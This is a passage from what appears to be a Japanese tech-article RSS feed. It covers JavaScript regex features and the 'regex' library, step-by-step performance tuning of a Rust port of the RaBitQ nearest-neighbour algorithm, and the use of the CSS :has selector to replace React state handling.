  (?<year>  \d{4}) - # Year part
  (?<month> \d{2}) - # Month part
  (?<day>   \d{2})   # Day part
`;

これは、PCREのxxフラグを使用するのと同じです。

サブルーチンとサブルーチン定義グループ #

サブルーチンは\g<name>(nameは名前付きグループを指します)のように書き、参照されたグループを独立したサブパターンとして扱い、現在の位置でマッチしようとします。これにより、サブパターンの合成と再利用が可能になり、可読性と保守性が改善されます。

例えば、以下の正規表現は「192.168.12.123」のようなIPv4のアドレスとマッチします。

import {regex} from 'regex';
const ipv4 = regex`\b
  (?<byte> 25[0-5] | 2[0-4]\d | 1\d\d | [1-9]?\d)
  # Match the remaining 3 dot-separated bytes
  (\. \g<byte>){3}
\b`;

さらに、サブルーチン定義グループを通じて参照のみで使用するサブパターンを定義することができます。こちらは先ほど見た名前付きキャプチャの項目の正規表現の改善例です。

const record = 'Admitted: 2024-01-01\nReleased: 2024-01-03';
const re = regex`
  ^ Admitted:\ (?<admitted> \g<date>) \n
    Released:\ (?<released> \g<date>) $

  (?(DEFINE)
    (?<date>  \g<year>-\g<month>-\g<day>)
    (?<year>  \d{4})
    (?<month> \d{2})
    (?<day>   \d{2})
  )
`;
const match = record.match(re);
console.log(match.groups);
/* → {
  admitted: '2024-01-01',
  released: '2024-01-03'
} */

モダンな正規表現のベースライン #

regexにはデフォルトでvフラグが含まれているため、有効化し忘れることがありません。また、ネイティブのvフラグをサポートしていない環境では、自動的にuフラグに切り替わりつつも、vフラグのエスケープ規則を適用し、正規表現の前方互換性と後方互換性を確保します。

また、エミュレートされたx(ちょっとした空白とコメント)およびn(「名前付きキャプチャのみ」モード)フラグをデフォルトで暗黙的に有効化するため、毎回これらの上位モードを選択する必要がありません。さらに、タグ付きテンプレートリテラルであるため、RegExpコンストラクタの場合のようにバックスラッシュ\\\\をエスケープ処理する必要がありません。

アトミックグループと絶対最大量指定子で破壊的なバックトラックを回避できる #

アトミックグループと絶対最大量指定子も、regexライブラリで追加された強力な機能です。これらは主にパフォーマンスと破壊的なバックトラック(ReDoSとも呼ばれ、特定の正規表現が特定の、あまり一致しない文字列を検索する際に膨大な時間がかかる深刻な問題)に対するレジリエンスに関する機能ですが、より単純なパターンを書けるようにすることで可読性も改善します。

:詳しくはregexドキュメントをご覧ください。

今後実装されそうなJavaScript正規表現の改良 #

JavaScriptの正規表現を改良するための様々な提案が現在検討されています。JavaScriptの将来バージョンに組み込まれる見込みの高い3つの提案について以下にご紹介します。

重複する名前付きキャプチャグループ #

これはステージ3(最終化間近)の改良案です。さらに良いことに、直近の情報によるとこの改良はすべての主要ブラウザで機能します。

名前付きキャプチャが最初に導入された際、すべての(?<name>...)キャプチャで一意の名前を使用することが求められました。しかし、正規表現には複数の代替パスがある場合もあり、それぞれのパスで同じグループ名を使用した方がコードを単純化できます。

以下の例をご覧ください。

/(?<year>\d{4})-\d\d|\d\d-(?<year>\d{4})/

この改良案は、まさにこの例の構文を可能にするもので、このような構文で「重複するキャプチャグループ名」エラーが発生するのを防ぎます。ただし、各代替パスの中では引き続き一意の名前を使用する必要があります。

パターン修飾子(別名:フラググループ) #

こちらもステージ3の改良案です。Chrome/Edge 125およびOpera 111ではすでにサポートされており、近々Firefoxでもサポートされる予定です。Safariについては今のところ不明です。

パターン修飾子は(?ims:...)(?-ims:...)(?im-s:...)のいずれかを使用し、正規表現の特定の部分のみについてimsフラグのオンとオフを切り替えます。

以下の例をご覧ください。

/hello-(?i:world)/
// Matches 'hello-WORLD' but not 'HELLO-WORLD'

RegExp.escapeによる正規表現の特殊文字のエスケープ処理 #

この改良案は、長い時間を経てようやく最近ステージ3に到達しました。まだどの主要ブラウザも対応していません。謳い文句どおりRegExp.escape(str)関数を提供することで、正規表現の特殊文字がすべてエスケープ処理された状態で文字列を返し、リテラル文字列としてマッチングすることを可能にします。

この機能がすぐに必要な場合、escape-string-regexpが最も広く使われているパッケージです(毎月5億回以上ダウンロードされています)。このnpmパッケージは、最低限のエスケープ処理を行う超軽量の専用ユーティリティです。ほとんどのケースではこれで十分ですが、エスケープ処理を行った文字列が正規表現内のどの位置でも安全に使用できることを確認する必要がある場合、escape-string-regexpはこの記事ですでに紹介したregexライブラリを推奨しています。regexライブラリは、埋め込み文字列のエスケープ処理を補間により、コンテクストを意識した方法で行います。

まとめ #

この記事では、JavaScriptの正規表現の過去、現在、そして未来についてお話しました。

正規表現についてさらに詳しく学びたい方は、Awesome Regexに優れた正規表現テスター、チュートリアル、ライブラリ、その他のリソースが紹介されているのでぜひご覧ください。正規表現のクロスワードパズルに挑戦してみたい方は、regexleをお試しください。

皆さんの実りある構文解析と正規表現の可読性向上の一助になれば幸いです。

]]>
<![CDATA[アルゴリズムのパフォーマンスを段階的に改善する]]><![CDATA[最近、筆者はRaBitQという新しい近似最近傍探索アルゴリズムを使ったさまざまな試みを行っています。このアルゴリズムを提案した論文の著者はすでにC++実装を提供しており、実行速度はかなり速いです。筆…]]>https://postd.cc/rabitq-bench/https://postd.cc/rabitq-bench/<![CDATA[開発手法・プロジェクト管理]]><![CDATA[パフォーマンス]]><![CDATA[アルゴリズム]]><![CDATA[Rust]]>Thu, 28 Nov 2024 00:00:01 GMT<![CDATA[

最近、筆者はRaBitQという新しい近似最近傍探索アルゴリズムを使ったさまざまな試みを行っています。このアルゴリズムを提案した論文の著者はすでにC++実装を提供しており、実行速度はかなり速いです。筆者はこれをRustに書き換えようとしました(いわゆるRiiR(Rewrite it in Rust)です)が、実装結果は元のアルゴリズムよりも大幅に遅いことが判明しました。この記事では、アルゴリズムのパフォーマンスを段階的に改善する方法をご紹介します。

環境の準備

データセット

最も重要なのは、適当なデータセットをいくつか用意することです。前述の論文では、sift_dim128_1m_l2gist_dim960_1m_l2という2つのデータセットについての結果が示されています。このデータセットでは、128項目と960項目というのがよく使われるサイズであり、1,000,000個のデータポイント(ベクトル)があれば性能を測るのに十分だということです。つまり、これらのデータセットを使うことで、アルゴリズムの性能をしっかりと評価できるということです。データセットはこちらからダウンロードできます。(こちらのサイトはTLSに対応しておらず、FTPダウンロードしか提供していません。)

これらのデータセットは、一般的なベクトル形式であるfvecs/ivecsを使用しています。

| dim (4 bytes) | vector (4 * dim bytes) |
| dim (4 bytes) | vector (4 * dim bytes) |
...
| dim (4 bytes) | vector (4 * dim bytes) |

読み取り/書き込み用のスクリプトは筆者のGistから取得できます。

プロファイリングツール

Rustコードのプロファイリングにはsamplyを使用しています。このツールはFirefox Profilerに追加して使用できます。プロファイリングの結果は、クラウドにアップロードすることで他者と共有することもできます。こちらはGistで公開されているC++版のプロファイリング例です。ビューはFlameGraphとCallTreeが最も一般的です。パフォーマンスイベント権限を付与し、mlockの上限を増やす必要があります。

echo '1' | sudo tee /proc/sys/kernel/perf_event_paranoid
sudo sysctl kernel.perf_event_mlock_kb=2048

GodBoltのCompiler Explorerも、C++とRustの関数のアセンブリコードを比較するのに役立ちます。

Cargoプロファイル

リリースビルドにデバッグ情報を含めるには、Cargo.tomlに新たなプロファイルを追加します。

[profile.perf]
inherits = "release"
debug = true
codegen-units = 16

コンパイルコストとランタイム速度は、プロファイリングにおけるユーザーエクスペリエンスを大きく左右します。

  • cargo buildはコンパイル速度は速いものの、Pythonよりもコードの実行速度は遅い場合がある
  • cargo build --releaseは、コードの実行速度は速いものの、コンパイルには時間がかかる場合がある ベンチマーキングにはopt-level = 3を使用することを推奨します。 以下の設定の使用が推奨されているのを目にしましたが、筆者の場合はコンパイル速度が遅くなり、パフォーマンスの改善は全く見られませんでした。
codegen-units = 1
lto = "fat"
panic = "abort"

ベンチマークツール

Criterionは、統計に基づく優れたベンチマークツールです。関連するベンチマークコードをすべて格納するために、新たなリポジトリを作成しました。ベンチマークコードは同じリポジトリに入れる必要があるようです。

注目すべき点として、ベンチマークの結果はあまり安定していません。筆者の場合はコードに手を加えていない状態で±10%の差異が見られました。ノートパソコンを使用している場合、高温によりCPUがアンダークロックし、さらに差異が広がる可能性があります。

関数のベンチマークには、いくつかの異なるパラメータを使用することをおすすめします。この場合、筆者は異なる項目のベクトルを使用します。すべての項目の結果がプラスであれば、通常は改善が効果的であることを意味します。

指標

最初からいくつかの指標を追加しましょう。指標をチェックすることで、多くのバグやパフォーマンスの問題を見つけることができます。筆者は、現行の要件が単純であるため直接AtomicU64を使用していますが、後でPrometheusを使った指標に移行するかもしれません。 指標/ロギング/トレースが多すぎるとパフォーマンスに影響が出る可能性があるため、これらを追加する際には注意してください。

リソース

ベンチマークの際に、筆者はエンドツーエンドのQPSが極めて不安定であることに気がつきました。コードを再コンパイルしていなくても、翌朝にはベンチマークの結果に15%の改善または悪化が見られる場合もあります。また、筆者はVSCodeの拡張機能「rust-analyzer」を使用しているため、CPUが完全にアイドル状態ではなく、CPUの使用率は低いもののベンチマークの結果に大きな影響を及ぼすことが分かりました。ちなみに、筆者は8つの高性能コアと8つの高効率コアで構成されたIntel Core i7-13700Kを使用しており、プログラムはシングルスレッドです。

筆者はtasksetを使用してプロセスを実行するCPUを指定しています。そうすることで、種類の異なるコアのスケジューリングの影響を受けることはありません。

第13〜14世代のIntel Core CPUは電圧が非常に高いため不安定です。筆者はこの問題をBIOSで修正しました。

クラウドの仮想マシンはCPU温度の影響を受けないかもしれませんが、クラウドプロバイダーにはCPUのスロットリングやオーバーコミットに関する独自のポリシーがある場合があります。

段階的な改善

単純な実装から始める

筆者の最初のリリースは、nalgebraという代数ライブラリをベースにRaBitQアルゴリズムを実装しました。主な理由は、RaBitQアルゴリズムにおいて重要なステップである直交行列を取得するためにQR分解を使う必要があるからです。また、成熟した線形代数ライブラリは行列やベクトルを操作するのに役立つ関数を多く提供するため、アルゴリズムを実装しやすいという利点もあります。Pythonでnumpyを使わずに行列の乗算、射影、分解に関するアルゴリズムを実装することを考えてみてください。まさに悪夢です。

nalgebraはこのようなシナリオ向けに最適化されているため、パフォーマンスは良いはずだと考えました。しかし、ベンチマークは筆者の予想よりもかなり遅い結果となりました。numpyで再実装した方がはるかに速いでしょう:(

プロファイリングによると、f32::clone()の呼び出しが多数あります。全体の時間の約33%を占めており、query_one関数に注目すると44%となります。この結果から、一部のベクトルについてメモリを事前に割り当て、同じイテレーション内で再利用するという非常に一般的な裏技が使えることが分かります。したがって、(x - y).norm_squared()を使う代わりに、(x - y)の結果を格納する別のベクトルをあらかじめ宣言する必要があり、結果的にx.sub_to(y, &mut z); z.norm_squared()となります。コミット23f9affをご覧ください。

ほとんどの代数ライブラリと同様に、このベクトルは列優先で行列を格納するため、行よりも列に対して処理を順番に繰り返し実行した方が速いことを意味します。イテレーションの前に行列を転置しなくてはならないのは少し面倒であり、ベクトルと行列の乗算がすべてコンパイル時に項目のミスマッチエラー(1 x dynまたはdyn x 1)を検出できるとは限りません。

CPUターゲット

RaBitQは、バイナリの内積距離を用いておおよその距離を推定します。距離は以下により計算します。

fn binary_dot_product(x: &[u64], y: &[u64]) -> u32 {
    assert_eq!(x.len(), y.len());
    let mut res = 0;
    for i in 0..x.len() {
        res += (x[i] & y[i]).count_ones();
    }
    res
}

ここでは、u64::count_ones()は組み込み関数であるため、通常は特別な設定なしで使用できると考えましたが、実際にはコンパイル時にpopcnt機能を有効化する必要があります。RUSTFLAGS="-C target-feature=+popcnt"を使うことで有効化できますが、筆者はRUSTFLAGS="-C target-cpu=native"を好みます。後者は現在のCPUが対応するすべてのCPU機能を有効化しますが、バイナリ互換性が失われます。現時点では、特定の環境でのみ使用するため問題ではないと考えています。以下のセクションでも、AVX2機能を有効化するためにこの環境変数が必要になります。

CPUの機能は以下のコマンドを使用することで確認できます。

rustc --print=cfg -C target-cpu=native | rg target_feature

SIMD

最近傍探索において重要な関数は距離関数であり、この場合はユークリッド距離です。通常は、平方根の計算を避けるためにL2二乗距離を使用します。単純な実装は以下のようになります。

{
    y.sub_to(x, &mut residual);
    residual.norm_squared()
}

プロファイリングの後、f32::clone()がまだ残っていることに気づきました。nalgebraのソースコードを確認してみると、何らかの理由により多数のcloneがありました。そこで、SIMDを手書きすることにしました。幸い、hnswlib(人気のHNSW実装)がすでにこれを実装しています。

これにより、距離の計算においてf32::clone()がなくなり、SIFTでQPSが28%改善します。コミット5f82fccをご覧ください。

筆者のCPUはAVX512に対応していないため、AVX2バージョンを使用しています。Steamでハードウェアの統計データを確認できますが、「Other Settings」にSIMDのサポートが記載されています。100%のユーザーがSSE3に対応し、94.61%のユーザーがAVX2に対応していますが、AVX512Fに対応しているユーザーは13.06%に過ぎません。当然この統計データは偏っており、ほとんどのクラウドIntel CPUはAVX512に対応しています。ゲームプレイヤーがすべてのユーザーを代表することはできません。

SIMDを使用する上で非常に役立つガイドとしてIntel Intrinsics Guideが挙げられます。オンラインだと使い勝手が良くないため、サイトをダウンロードすることをおすすめします。組み込み関数の「レイテンシ」と「スループット」は必ず確認してください。そうしないと、通常のバージョンよりもコードが遅くなる場合があります。

x86 Intrinsics Cheat Sheetというリソースもあります。こちらは筆者のような初心者が使いやすい内容になっています。

@ashvardanianが、テール要素問題を解決する「マスクロード」(AVX512が必要)に関する記事を投稿しています。

コードを他のプラットフォームでも実行できるようにするには、以下を行います。 rust #[cfg(any(target_arch = "x86_64", target_arch = "x86"))] { if is_x86_feature_detected!("avx2") { // AVX2 version } else { // normal version } }

SIMD向けにより良いcfgを書くのに役立つクレートがいくつかありますが、今のところは複雑にせず、シンプルにしておきましょう。

SIMDに関する補足

SIMDは金槌のようなものなので、今度はコードの中の「釘」をもっと見つける必要があります。

コミットf114fc1でAVX2を使用してbinarize_vector関数を書き換えたところ、GistのQPSが32%改善した

元のC++版に比べて、この実装も分岐がありませんopt-level=3を有効化すると、コンパイラによってこれを最適化することができます。アセンブリをご覧ください。

@andrewaylett pointed out that opt-level=3 can optimize this

opt-level=3でこれを最適化できると@andrewaylettが指摘

- let shift = if (i / 32) % 2 == 0 { 32 } else { 0 };
+ let shift = ((i >> 5) & 1) << 5;  // opposite version because I store the binary in u64 with different endian from the C++ version

-let shift = if (i / 32) % 2 == 0 { 32 } else { 0 };

+let shift = ((i >> 5) & 1) << 5; // C++版とは異なるエンディアンを使用してバイナリをu64に格納するため、逆バージョン

@NovaX first pointed out that it's equivalent to i & 32, which is more readable.

より可読性に優れたi & 32と同等であると、@NovaXが最初に指摘

スカラー量子化

コード内のf32::clone()を減らすため、筆者はもっと多くのnalgebra関数を手動で実装することにしました。minおよびmax関数が最も一般的なものです。nalgebraバージョンは以下のようになります。

let lower_bound = residual.min();
let upper_bound = residual.max();

これは以下により行います。

fn min_max(vec: &[f32]) -> (f32, f32) {
    let mut min = f32::MAX;
    let mut max = f32::MIN;
    for v in vec.iter() {
        if *v < min {
            min = *v;
        }
        if *v > max {
            max = *v;
        }
    }
    (min, max)
}

以前は便利なのでf32::min()f32::max()を使用していましたが、昇順/降順以外のベクトルについてはifの方がパフォーマンスが優れています。

次のようにメソッドチェーンでベクトルに対して処理を数回繰り返し実行し、複数のイテレーションでの集計によりスカラー量子化を計算する代わりに、

let y_scaled = residual.add_scalar(-lower_bound) * one_over_delta + &self.rand_bias;
let y_quantized = y_scaled.map(|v| v.to_u8().expect("convert to u8 error"));
let scalar_sum = y_quantized.iter().fold(0u32, |acc, &v| acc + v as u32);

1回のループでこれを実行できます。

{
    let mut sum = 0u32;
    for i in 0..vec.len() {
        let q = ((vec[i] - lower_bound) * multiplier + bias[i]) as u8;
        quantized[i] = q;
        sum += q as u32;
    }
    sum
}

スカラー量子化については、f32u8に変換できることは分かっているため、to_u8().unwrap()の代わりにas u8を使用できます。 コミットaf39c1cおよびコミットd2d51b0は、GistのQPSを31%改善しました。 以下の部分もSIMDで書き換えることができ、これによりGistのQPSが12%改善します。

tr_mulをベクトル射影であるSIMDに置き換えることも試してみました。ここでは、nalgebraがBLASを使用することが判明したため、パフォーマンスは変わりません。

新たな代数クレート:faer

f32::clone()の問題について調べている際に、faerという新たなRust代数クレートを見つけました。多数のSIMDにより最適化されており、行と列のイテレーションパフォーマンスを向上させます。QR分解もnalgebraよりかなり高速です。こちらのコミット0411821はトレーニング部分を高速化します。

また、コミット0d969bd以降はColRefRowRefラッパーなしでこれらのベクトルを通常のスライスとして使用できます。

最初からfaerを使っていれば、多くのトラブルを回避できていたでしょう。いずれにせよ、この経験から多くを学びました。

バイナリ内積

バイナリ内積についてはpopcntがすでに解決済みと思っていましたが、FlameGraphによると、count_ones()の呼び出しがbinary_dot_productの実行時間に占める割合は7%にすぎないようです。AVX512にはvpopcntq命令がありますが、AVX2シミュレーションの方が一般的なので、筆者はこちらを使用しています。

こちらはAVX2を用いたpopcnt実装の良い参考になります。コミットedabd4aはこれをRustで再実装したもので、GistのQPSを11%改善します。この裏技は、ベクトルに256以上の項目がある場合しかうまくいきません。つまり、バイナリ表現に256ビット必要ということです。

インライン

#[inline]属性は慎重に使う必要があります。この属性をすべてのSIMD関数に追加することで、GistのQPSが5%改善します。

IO

ここで少し背景情報を追加する必要があります。

現行の実装は、k平均法を用いてベクトルのクラスタリングを行い、セントロイドをメモリに格納するIVFアルゴリズムがベースになっています。クエリベクトルは、l2_squared_distance(query, centroid)がより小さいクラスタとしか比較されません。

探索する最近傍クラスタの数を制御するn_probeというパラメータがあります。n_probeの値が大きいと再現率は上がりますが、QPSは下がります。

RaBitQは、バイナリ内積を使用しておおよその距離を推定します。しきい値よりも小さい場合は元のL2二乗距離と同じランキングにリランキングし、それとともにしきい値を更新します。

筆者は以前、n最近傍を選択するだけで並べ替えを行わないslice::select_nth_unstableを使用していました。クエリから遠いクラスタを探索するとリランキング率が上がり、L2二乗距離の計算が増えます。選択したn番目のクラスタを並べ替えることで、GistのQPSが4%改善しました。

別の裏技として、各クラスタのベクトルをセントロイドまでの距離順に並び替える方法もあります。こちらのコミットea13ebcも、GistのQPSを4%改善しました。

各ベクトルのおおよその距離の推定に使用するメタデータがいくつかあります。

  • factor_ip: f32
  • factor_ppc: f32
  • error: f32
  • x_c_distance_square: f32

以前、筆者は4つのVec<f32>を使用してこれらのメタデータを格納していましたが、計算を行う際にはそれぞれにvector[i]が必要なため、IOには適していませんでした。コミットbb440e3でこれらを一つのstructに組み合わせることで、GistのQPSが2.5%改善しました。これは4xf32であるためうまく行き、そのためC表現を直接使用することができます。

#[derive(Debug, Clone, Copy, Default, Serialize, Deserialize)]
#[repr(C)]
struct Factor {
    factor_ip: f32,
    factor_ppc: f32,
    error_bound: f32,
    center_distance_square: f32,
}

残念ながら、faerはu64ベクトルに対応していません。したがって、ベクトルのバイナリ表現をVec<Vec<u64>>に格納する必要があります。コミット48236b2でこれをVec<u64>に変更することで、GistのQPSが2%改善しました。

const generics

C++版は、テンプレートを使用して異なる項目のコードを生成します。この機能はRustにもありますが、異なる項目用のコードの再コンパイルは、少数の固定された項目しかない会社の中など、特定のユースケースでしか行えない可能性があるため、筆者は試してみませんでした。公開ライブラリでは、ユーザーが自ら再コンパイルする必要がないよう、一般解を提供する方が良いでしょう。

その他のツール

bounds-check-cookbookでは、safe Rustで境界チェックを無くす方法の例をいくつか紹介しています。

筆者はPGOBOLTを試してみましたが、改善は得られませんでした。

jemallocmimallocに変えてもパフォーマンスは改善しません。

まとめ

  • SIMDは適切に使用すれば素晴らしい
  • 特に大きなデータセットではIOも重要

データセットGistを使用したパフォーマンスは、現時点ではC++版と同じです。筆者はSIMDをより頻繁に使用しますが、C++版はconst genericsを使用しています。

参考文献


この著作物のライセンスは、Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International Licenseに基づいて付与されています。

]]>
<![CDATA[ReactコードをCSSの:hasセレクタで置き換える]]><![CDATA[CSSの新しい:hasセレクタと、これを使用したReactコードの改善方法について説明します。実用的で美しい例とともに。 大昔、とは言ってもCSSが出てきた当初の話ですが、CSSはカスケードする仕…]]>https://postd.cc/replacing-react-with-css/https://postd.cc/replacing-react-with-css/<![CDATA[開発手法・プロジェクト管理]]><![CDATA[React]]><![CDATA[CSS]]>Sat, 19 Oct 2024 00:00:01 GMT<![CDATA[

CSSの新しい:hasセレクタと、これを使用したReactコードの改善方法について説明します。実用的で美しい例とともに。

大昔、とは言ってもCSSが出てきた当初の話ですが、CSSはカスケードする仕組みになっていると教えられていました。それは、Cascading Style Sheetsという名前からも分かります。CSSでは、入れ子のように要素の中の要素を指定し、さらにその中に含まれる要素を指定していくことができます。しかし、その逆はできません。したがって、子要素が親要素にスタイルを適用するには、JavaScriptを使うしかありませんでした。

今までは。

すべての主要ブラウザがCSSの:hasセレクタに対応したことで、親要素を指定できるようになりました。それだけではありません。これは世界が一変したと言えるほどの出来事です。筆者のように、要素の角を丸くするために透過GIFを使用していた時代からウェブ開発を行っている読者の方は、これによって広がる可能性に圧倒されるでしょう。

これを使ってぜひ色々と遊んでみていただきたいと思いますが、Reactの世界では実際にどのような実用的用途があるのでしょうか。ここでは特に注目すべき用途を3つ紹介したいと思います。

:hasセレクタとは?

従来のCSSでは、以下のようなことができます。

.content .card {
  background: #f0f0f0;
}

.content img {
  margin: 1rem 0;
}

これにより、.content要素に含まれる.card要素の背景が薄いグレーに変わり、中の画像に余白が追加されます。そうすることで、画像とテキストが視覚的に区別されます。

また、隣の兄弟を+または~結合子で指定することができます。例えば、上記の画像が.card要素のすぐ後にくる場合、より見やすくするために余白をさらに追加するとよいでしょう。

// images that immediately follow a card element
// will have bigger margins than other images
.content .card + img {
  margin: 2rem 0;
}

コード例はこちらをご覧ください。

しかし、最近まで「逆」方向に要素を指定することができませんでした。例えば、すぐ後に画像が続く.card要素の背景を変えたい場合、JavaScriptを使うしか方法がありませんでした。同様に、中に画像が含まれる場合に.card要素のスタイルを変えることもできませんでした。

新しいCSSセレクタ:hasは、この問題を解決します。

例えば、中に画像が含まれる.card要素にはピンク色の枠を使用し、それ以外の.card要素にはグレーの枠を使用するといったことも簡単にできます。

// all the cards will have grey top borders
.card {
  border-top: 10px solid #f6f7f6;
}

// cards with images inside will have pink borders
.card:has(img) {
  border-top: 10px solid #fee6ec;
}

:hasセレクタを他のセレクタと組み合わせて使用することもできます。すぐ後に画像が続くカードには青い枠を付けてみましょう。その場合は+結合子で条件を追加します。

// if a card has an image as a next element - give it a blue border
.card:has(+ img) {
  border-top: 10px solid #c4f4ff;
}

もっと複雑なコードを書くこともできます。h3タグを含まず、imgタグを含み、別の.card要素がすぐ後に続き、それより後にimgタグがある.card要素の背景を、複数の画像を含むカードが後に続く場合に限り緑色にしてみましょう。

// have fun reading that ;)
.card:not(:has(h3)):has(img):has(+ .card):has(~ img):has(~ .card):has(> img:nth-child(1)) {
  background-color: #c3dcd0;
}

以下が実装例になります。

しかし、Reactアプリでこのようなことがしたいでしょうか。こうしたスタイルは、子セレクタと同様に要素の境界が曖昧になりがちです。ここ10年くらい、そうならないようにするための方法を色々と工夫して編み出してきたのではなかったでしょうか。BEM、SASS、CSS-in-JS、CSSモジュールなどなど。スタイルの適用範囲を意図した要素にのみ限定するために、私たちはあらゆる手段を講じます。

では、突如その流れに逆行し、あらゆるベストプラクティスと逆のことをする理由はどこにあるのでしょうか。もちろん、Reactでは数年置きにそうした傾向が見られるのはありますが😅

答えは、複雑なReactコードを不要にするためです。最高のReactコードは、Reactコードを一切使わないことである場合もあるのです。先ほどは極めて複雑なセレクタの例をお見せしましたが(まね 真似することはお勧めしません)、ReactをCSSに置き換えることでロジックを単純化することができ、若干パフォーマンスを改善できる場合もあります。

ではいくつか実例を見てみましょう。

:hasセレクタと要素のフォーカス状態

タスクボードを実装したいとします。ボード上には多数のカードがあり、各カードにはそれぞれ「開く」と「削除」の2つのボタンがあります。「開く」ボタンをクリックすると、カードの内容がすべてモーダル上に開きます。「削除」をクリックするとカードが削除されます。

このカードのコードは非常にシンプルです。

<div className="card">
  Some text here
  <div className="buttons">
    <button>
      <Open />
    </button>
    <button>
      <Delete />
    </button>
  </div>
</div>

Tabキーを使ってボタンに移動するなど、キーボードで操作可能にしたいと思います。さらに、キーボードユーザーの利便性を改善するため、どのボタンが選択されているかが分かるようにしたいと思います。ユーザーがTabキーを使っていずれかのボタンに移動したら、カードが少し「飛び出す」ようにし、同じ列の他のカードはグレーアウトさせます。さらに、アクティブ状態のカードの枠の色を変え、現在アクティブな操作が分かるようにしたいと思います。「削除」ボタンには赤、「開く」ボタンには緑を使用します。

Reactでこの機能を実装するには、focusイベントリスナーを追加し、現在アクティブなボタンを検知し、カード自体のclassNamesを変更できるようstateを維持し、他のカードも変更できるようそのstateをどうにかして親と共有する必要があります。そのためには、Contextなどの状態管理ソリューションを導入する必要があるでしょう。気が付けば、すべてのタブのすべてのカードを再レンダリングする本格的なフォーカスマネージャーを実装しなくてはならなくなっているでしょう。実際にこのような凝ったインタラクションを見かけないのも無理はありません。せいぜいボタンの輪郭線に一貫性をもたせることぐらいしか望めないでしょう。

しかし、:hasセレクタを使えば今述べたようなことも比較的簡単に実装できます。

ステップ1。classNameに頼らなくても選択できるよう、data-属性をボタンに割り当てます。

// add data-action attributes to the buttons
<button data-action="open">
  <Open />
</button>
<button data-action="delete">
  <Delete />
</button>

ステップ2。フォーカスされた「削除」ボタンを含むカードを見つけ、CSSを変えます。

// make the card "pop" and change its border colors
// if the "delete" button inside the card is focused
.card:has([data-action='delete']:focus-visible) {
  border-top: 10px solid #f7bccb;
  box-shadow: 0 0 0 2px #f7bccb;
  transform: scale(1.02);
}

ステップ3。フォーカスされた「開く」ボタンを含むカードを見つけ、CSSを変えます。

// make the card "pop" and change its border colors
// if the "open" button inside the card is focused
.card:has([data-action='open']:focus-visible) {
  transform: scale(1.02);
  border-top: 10px solid #c3dccf;
  box-shadow: 0 0 0 2px #c3dccf;
}

ステップ4。これが一番難しい処理になります。フォーカスされた「開く」または「削除」ボタンを含むカードの「前後」のカードをすべて見つけ、グレーアウトする必要があります。魔法の種明かしはこちらです。

// all cards after the card with focused "open" button
.card:has([data-action='open']:focus-visible) ~ .card,

// all cards after the card with focused "delete" button
.card:has([data-action='delete']:focus-visible) ~ .card,

// all cards before the card with focused "open" button
.card:has(~ .card [data-action='open']:focus-visible),

// all cards before the card with focused "delete" button
.card:has(~ .card [data-action='delete']:focus-visible) {
  filter: greyscale();
  background-color: #f6f7f6;
}

JavaScriptもReactの再レンダリングも一切必要としない、どのボードよりも美しいキーボード操作を実現できました。以下の実例を触ってみてください。

in all the boards ever with zero JavaScript and zero React re-renders! A live example is below to play around with.

:hasセレクタとカテゴリ分け

もう一つ、:hasセレクタのユースケースとして筆者がシンプルで秀逸だと思うのが、データに基づいて要素を色分けできる点です。

例えば、ショップで販売している商品を記載した表を実装してみましょう。これらの商品は、特定のカテゴリに分類されます。オンラインショップで事務用品、衣類、馬を販売しているとしましょう。表にはいくつかの列があり、最もシンプルな形にまとめたものが以下になります。

これをコードにすると、以下のようになります。

...
<tr>
  <td>Socks</td>
  <td>Created by...</td>
  <td>Inventory full</td>
  <td>
    <span className="category">
      clothes
    </span>
  </td>
</tr>
...

では、表の左側境界線にカテゴリを示す色を付けることで、各行のカテゴリを色分けしたいと思います。また、在庫切れの商品については、行の背景を赤く色付けすることで目立たせたいと思います。これを実装したものが以下になります。

Reactでは、propsを使用し、カテゴリや在庫に関する情報を少なくともrowタグ、あるいは最初のセルに渡す必要があります。さらに、バリエーションごとにクラス名や、場合によっては内部コンポーネントを作成する必要があります。この例では、こうした複雑な処理は一切不要です。

では、一連の流れを見てみましょう。

ステップ1。情報を格納したdata-属性を、すでにその情報を持っているセルに追加します。

<tr>
  <td>Socks</td>
  <td>Created by...</td>
  <!-- add data-inventory attribute here -->
  <td data-inventory="full">Inventory full</td>
  <td>
    <!-- add data-category attribute here -->
    <span className="category" data-category="clothes">
      clothes
    </span>
  </td>
</tr>

ステップ2。:hasを使用し、必要なカテゴリを色分けします。

data-categoryを持つ要素を含む行の最初のセルに、カテゴリによって異なる色の境界線を追加します。

.table tr:has([data-category='clothes']) td:first-child {
  border-left: 6px solid #f7bccb;
}

.table tr:has([data-category='office']) td:first-child {
  border-left: 6px solid #f4d592;
}

.table tr:has([data-category='animals']) td:first-child {
  border-left: 6px solid #c4f4ff;
}

data-inventoryの値がemptyの要素を含む行には、赤色の背景を追加します。

.table tr:has([data-inventory='empty']) {
  background: #f6d0ce;
}

美しく色分けされた表の出来上がりです。この表で特に素晴らしいのが、動的な状態にあり頻繁に更新される属性であっても、行全体を再レンダリングして色を更新する必要がない点です。再レンダリングされるのはdata-属性を含むセルだけです。よりシンプルで洗練されたコードに加え、この点も若干パフォーマンスの向上に寄与する可能性があります。

以下のインタラクティブな例をご覧ください。

:hasセレクタとフォーム

次が今回紹介する:hasセレクタの最後のユースケースです。フォーム要素の状態に応じて要素のスタイリングを行うというものですが、これが大変効果的で筆者も非常に気に入っています。

例えば、入力を無効にできるフォームにおいて、入力欄のラベル表示や説明も視覚的に「無効」にすることができます。

このフォームを記述したコードが以下になります。

<form className="form">
  <fieldset>
    <label htmlFor="form-name">Name</label>
    <input type="text" name="name" id="form-name" disabled value="Nadia" />
    <div className="description">Just your first name is fine</div>
  </fieldset>

  <fieldset>
    <label htmlFor="form-email">Email Address</label>
    <input type="email" name="email" id="form-email" required />
    <div className="description">We don't accept gmail domains!</div>
  </fieldset>
</form>

CSSでは、stateが:disabledの入力を含むfieldsetを指定し、label要素と.description要素のスタイリングを行います。

fieldset:has(input:disabled) label,
fieldset:has(input:disabled) .description {
  color: #d6d6d6;
}

もちろん、フォーカスも使用できます。入力がフォーカスされると左側に線が表示されるようにしたい場合、

次のようにするだけです。

fieldset:has(input:focus-visible) {
  border-left: 10px solid #c4f4ff;
}

もしくは、チェックボックス付きのリストを実装する場合、チェックされた行を強調表示するには通常ならチェックボックスのstateを格納し、.activeクラスを作成しますが、こうした処理を行うことなく簡単に強調表示することが可能です。

必要なのはCSSセレクタだけです。

